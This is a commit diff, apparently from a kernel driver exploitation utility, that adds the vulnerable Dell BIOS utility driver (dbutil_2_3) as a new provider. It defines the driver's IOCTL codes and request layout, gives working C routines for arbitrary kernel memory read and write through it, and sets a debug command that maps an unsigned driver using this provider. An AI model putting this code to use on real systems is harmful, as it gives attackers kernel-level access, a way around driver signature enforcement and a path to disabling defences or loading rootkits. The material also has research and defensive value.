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Added Dell dbutil_2_3 driver as provider 16
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,12 +1,11 @@ | ||
| <?xml version="1.0" encoding="utf-8"?> | ||
| <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
| <LocalDebuggerCommandArguments> | ||
| </LocalDebuggerCommandArguments> | ||
| <LocalDebuggerCommandArguments>-test</LocalDebuggerCommandArguments> | ||
| <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
| <LocalDebuggerCommandArguments>-prv 15 -map c:\makeexe\kdu\bin\dummy2.sys</LocalDebuggerCommandArguments> | ||
| <LocalDebuggerCommandArguments>-prv 16 -map c:\makeexe\kdu\bin\dummy.sys</LocalDebuggerCommandArguments> | ||
| <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> | ||
| </PropertyGroup> | ||
| </Project> |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -59,3 +59,4 @@ | |
| #define IDR_ASUSIO2 117 | ||
| #define IDR_DIRECTIO64 118 | ||
| #define IDR_GMERDRV 119 | ||
| #define IDR_DBUTIL23 120 | ||
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,140 @@ | ||
| /******************************************************************************* | ||
| * | ||
| * (C) COPYRIGHT AUTHORS, 2022 | ||
| * | ||
| * TITLE: DBUTIL23.CPP | ||
| * | ||
| * VERSION: 1.12 | ||
| * | ||
| * DATE: 25 Jan 2022 | ||
| * | ||
| * Dell BIOS Utility 2.3 driver routines. | ||
| * | ||
| * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
| * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
| * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
| * PARTICULAR PURPOSE. | ||
| * | ||
| *******************************************************************************/ | ||
|
|
||
| #include "global.h" | ||
| #include "idrv/dbutil23.h" | ||
|
|
||
| /* | ||
| * DbUtilReadVirtualMemory | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Read virtual memory via Dell DbUtil driver. | ||
| * | ||
| */ | ||
| _Success_(return != FALSE) | ||
| BOOL WINAPI DbUtilReadVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes) | ||
| { | ||
| BOOL bResult = FALSE; | ||
|
|
||
| SIZE_T size; | ||
| ULONG value; | ||
| DWORD dwError = ERROR_SUCCESS; | ||
| DBUTIL_READWRITE_REQUEST* pRequest; | ||
|
|
||
| value = FIELD_OFFSET(DBUTIL_READWRITE_REQUEST, Data) + NumberOfBytes; | ||
| size = ALIGN_UP_BY(value, PAGE_SIZE); | ||
|
|
||
| pRequest = (DBUTIL_READWRITE_REQUEST*)VirtualAlloc(NULL, size, | ||
| MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
|
|
||
| if (pRequest) { | ||
|
|
||
| if (VirtualLock(pRequest, size)) { | ||
|
|
||
| pRequest->Unused = 0xDEADBEEF; | ||
| pRequest->VirtualAddress = VirtualAddress; | ||
| pRequest->Offset = 0; | ||
|
|
||
| bResult = supCallDriver(DeviceHandle, | ||
| IOCTL_DBUTIL23_READVM, | ||
| pRequest, | ||
| (ULONG)size, | ||
| pRequest, | ||
| (ULONG)size); | ||
|
|
||
| if (!bResult) { | ||
| dwError = GetLastError(); | ||
| } | ||
| else { | ||
| RtlCopyMemory(Buffer, pRequest->Data, NumberOfBytes); | ||
| } | ||
|
|
||
| VirtualUnlock(pRequest, size); | ||
| } | ||
|
|
||
| VirtualFree(pRequest, 0, MEM_RELEASE); | ||
| } | ||
|
|
||
| SetLastError(dwError); | ||
| return bResult; | ||
|
|
||
| } | ||
|
|
||
| /* | ||
| * DbUtilWriteVirtualMemory | ||
| * | ||
| * Purpose: | ||
| * | ||
| * Write virtual memory via Dell DbUtil driver. | ||
| * | ||
| */ | ||
| _Success_(return != FALSE) | ||
| BOOL WINAPI DbUtilWriteVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes) | ||
| { | ||
| BOOL bResult = FALSE; | ||
|
|
||
| SIZE_T size; | ||
| ULONG value; | ||
| DWORD dwError = ERROR_SUCCESS; | ||
|
|
||
| DBUTIL_READWRITE_REQUEST* pRequest; | ||
|
|
||
| value = FIELD_OFFSET(DBUTIL_READWRITE_REQUEST, Data) + NumberOfBytes; | ||
| size = ALIGN_UP_BY(value, PAGE_SIZE); | ||
|
|
||
| pRequest = (DBUTIL_READWRITE_REQUEST*)VirtualAlloc(NULL, size, | ||
| MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
|
|
||
| if (pRequest) { | ||
|
|
||
| if (VirtualLock(pRequest, size)) { | ||
|
|
||
| pRequest->Unused = 0xDEADBEEF; | ||
| pRequest->VirtualAddress = VirtualAddress; | ||
| pRequest->Offset = 0; | ||
| RtlCopyMemory(&pRequest->Data, Buffer, NumberOfBytes); | ||
|
|
||
| bResult = supCallDriver(DeviceHandle, | ||
| IOCTL_DBUTIL23_WRITEVM, | ||
| pRequest, | ||
| (ULONG)size, | ||
| pRequest, | ||
| (ULONG)size); | ||
|
|
||
| if (!bResult) | ||
| dwError = GetLastError(); | ||
|
|
||
| VirtualUnlock(pRequest, size); | ||
| } | ||
|
|
||
| VirtualFree(pRequest, 0, MEM_RELEASE); | ||
| } | ||
|
|
||
| SetLastError(dwError); | ||
| return bResult; | ||
| } |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,65 @@ | ||
| /******************************************************************************* | ||
| * | ||
| * (C) COPYRIGHT AUTHORS, 2022 | ||
| * | ||
| * TITLE: DBUTIL23.H | ||
| * | ||
| * VERSION: 1.12 | ||
| * | ||
| * DATE: 25 Jan 2022 | ||
| * | ||
| * Dell BIOS Utility 2.3 driver interface header. | ||
| * | ||
| * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
| * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
| * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
| * PARTICULAR PURPOSE. | ||
| * | ||
| *******************************************************************************/ | ||
|
|
||
| #pragma once | ||
|
|
||
| // | ||
| // Dell driver interface. | ||
| // | ||
|
|
||
| #define DBUTIL23_DEVICE_TYPE (DWORD)0x9B0C | ||
|
|
||
| #define DBUTIL23_FUNCTION_READVM (DWORD)0x7B1 | ||
| #define DBUTIL23_FUNCTION_WRITEVM (DWORD)0x7B2 | ||
|
|
||
| #define IOCTL_DBUTIL23_READVM \ | ||
| CTL_CODE(DBUTIL23_DEVICE_TYPE, DBUTIL23_FUNCTION_READVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9B0C1EC4 | ||
|
|
||
| #define IOCTL_DBUTIL23_WRITEVM \ | ||
| CTL_CODE(DBUTIL23_DEVICE_TYPE, DBUTIL23_FUNCTION_WRITEVM, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9B0C1EC8 | ||
|
|
||
| // | ||
| // Virtual memory read/write | ||
| // | ||
| typedef struct _DBUTIL_READWRITE_REQUEST { | ||
| ULONG_PTR Unused; | ||
| ULONG_PTR VirtualAddress; | ||
| ULONG_PTR Offset; | ||
| UCHAR Data[1]; | ||
| } DBUTIL_READWRITE_REQUEST, * PDBUTIL_READWRITE_REQUEST; | ||
|
|
||
| // | ||
| // Size of data to read/write calculated as: | ||
| // | ||
| // InputBufferSize - sizeof packet header 0x18 bytes length | ||
| // | ||
|
|
||
| _Success_(return != FALSE) | ||
| BOOL WINAPI DbUtilReadVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes); | ||
|
|
||
| _Success_(return != FALSE) | ||
| BOOL WINAPI DbUtilWriteVirtualMemory( | ||
| _In_ HANDLE DeviceHandle, | ||
| _In_ ULONG_PTR VirtualAddress, | ||
| _In_reads_bytes_(NumberOfBytes) PVOID Buffer, | ||
| _In_ ULONG NumberOfBytes); |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -131,5 +131,4 @@ BOOL WINAPI GmerWriteVirtualMemory( | |
|
|
||
| SetLastError(dwError); | ||
| return bResult; | ||
|
|
||
| } | ||
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